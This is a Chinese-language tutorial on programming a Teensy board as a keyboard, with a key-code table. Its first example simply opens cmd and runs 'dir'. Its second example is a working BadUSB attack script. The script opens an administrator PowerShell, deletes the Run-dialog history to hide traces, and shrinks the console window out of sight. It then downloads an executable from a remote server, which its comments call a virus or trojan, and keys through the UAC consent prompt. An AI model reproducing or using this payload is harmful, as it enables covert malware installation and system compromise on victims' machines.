Teensy之简单代码编写
程序结构
- 在Arduino语言中, 标准的程序入口main函数在内部被定义, 代替是两个主要的函数setup()和loop()。
- setup():当Arduino板启动时setup()函数会被调用。用它来初始化变量,引脚模式,开始使用某个库,等等。该函数在Arduino板的每次上电和复位时只运行一次。
- loop():在创建setup函数,该函数初始化和设置初始值,loop()函数所做事的正如其名,连续循环,允许你的程序改变状态和响应事件。可以用它来实时控制arduino板。
库函数及相关参数
|
|
简单实例
简单实例一:打开CMD执行命令
12345678910111213141516171819202122232425262728293031323334void setup() {Keyboard.begin();//开始键盘通信delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键delay(500);Keyboard.press('r');//按下r键delay(500);Keyboard.release(KEY_LEFT_GUI);//松掉win键Keyboard.release('r');//松掉r键delay(500);Keyboard.println("cmd");//输入cmd进入DOSdelay(500);Keyboard.press(KEY_RETURN); //按下回车键Keyboard.release(KEY_RETURN); //释放回车键Keyboard.press(KEY_LEFT_SHIFT); // shiftKeyboard.release(KEY_LEFT_SHIFT);Keyboard.press(KEY_RIGHT_CTRL); // Ctrl 空格delay(500);Keyboard.press(KEY_BACKSPACE);Keyboard.release(KEY_BACKSPACE);Keyboard.release(KEY_RIGHT_CTRL);Keyboard.println("dir");Keyboard.press(KEY_RETURN); //按下回车键Keyboard.release(KEY_RETURN); //释放回车键delay(500);Keyboard.press(KEY_CAPS_LOCK); //按下大写键Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键delay(500);Keyboard.end();//结束键盘通讯}void loop() {// put your main code here, to run repeatedly:}简单实例二:
12345678910111213141516171819void setup(){Keyboard.begin();//开始键盘通信delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*开启管理员级别的powershell*/Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')"); /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*///自己想了一个比较笨的方法绕过UAC 就是询问管理员是否同意的那个框框Keyboard.press(KEY_LEFT_ARROW); //按住左方向键Keyboard.release(KEY_LEFT_ARROW); //释放左方向键Keyboard.press(KEY_RETURN); //按下回车键Keyboard.release(KEY_RETURN);//释放enter键Keyboard.end();//结束键盘通讯}void loop() {// put your main code here, to run repeatedly:}附上键值对照表:
123456789101112131415161718192021222324252627282930313233343536Key Hexadecimal value Decimal valueKEY_LEFT_CTRL 0x80 128KEY_LEFT_SHIFT 0x81 129KEY_LEFT_ALT 0x82 130KEY_LEFT_GUI 0x83 131KEY_RIGHT_CTRL 0x84 132KEY_RIGHT_SHIFT 0x85 133KEY_RIGHT_ALT 0x86 134KEY_RIGHT_GUI 0x87 135KEY_UP_ARROW 0xDA 218KEY_DOWN_ARROW 0xD9 217KEY_LEFT_ARROW 0xD8 216KEY_RIGHT_ARROW 0xD7 215KEY_BACKSPACE 0xB2 178KEY_TAB 0xB3 179KEY_RETURN 0xB0 176KEY_ESC 0xB1 177KEY_INSERT 0xD1 209KEY_DELETE 0xD4 212KEY_PAGE_UP 0xD3 211KEY_PAGE_DOWN 0xD6 214KEY_HOME 0xD2 210KEY_END 0xD5 213KEY_CAPS_LOCK 0xC1 193KEY_F1 0xC2 194KEY_F2 0xC3 19KEY_F3 0xC4 196KEY_F4 0xC5 197KEY_F5 0xC6 198KEY_F6 0xC7 199KEY_F7 0xC8 200KEY_F8 0xC9 201KEY_F9 0xCA 202KEY_F10 0xCB 203KEY_F11 0xCC 204KEY_F12 0xCD 205
Arduino语法教程
- 更多Arduino语法教程请参加:https://www.ncnynl.com/category/arduino-language/